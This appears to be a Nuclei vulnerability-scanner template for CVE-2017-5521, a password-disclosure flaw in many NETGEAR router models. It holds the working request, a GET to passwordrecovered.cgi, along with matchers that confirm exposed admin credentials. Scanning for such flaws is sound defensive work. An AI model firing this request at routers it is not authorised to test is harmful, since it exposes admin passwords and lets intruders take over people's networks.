id: CVE-2017-5521 info: name: Bypassing Authentication on NETGEAR Routers author: princechaddha severity: medium description: An issue was discovered on NETGEAR R8500, R8300, R7000, R6400, R7300, R7100LG, R6300v2, WNDR3400v3, WNR3500Lv2, R6250, R6700, R6900, and R8000 devices.They are prone to password disclosure via simple crafted requests to the web management server. reference: | - https://www.cvedetails.com/cve/CVE-2017-5521/ - https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/cve-2017-5521-bypassing-authentication-on-netgear-routers/ tags: cve,cve2017,auth-bypass requests: - method: GET path: - "{{BaseURL}}/passwordrecovered.cgi?id=nuclei" matchers-condition: and matchers: - type: word words: - "right\">Router\\s*Admin\\s*Username<" - "right\">Router\\s*Admin\\s*Password<" condition: and part: body - type: status status: - 200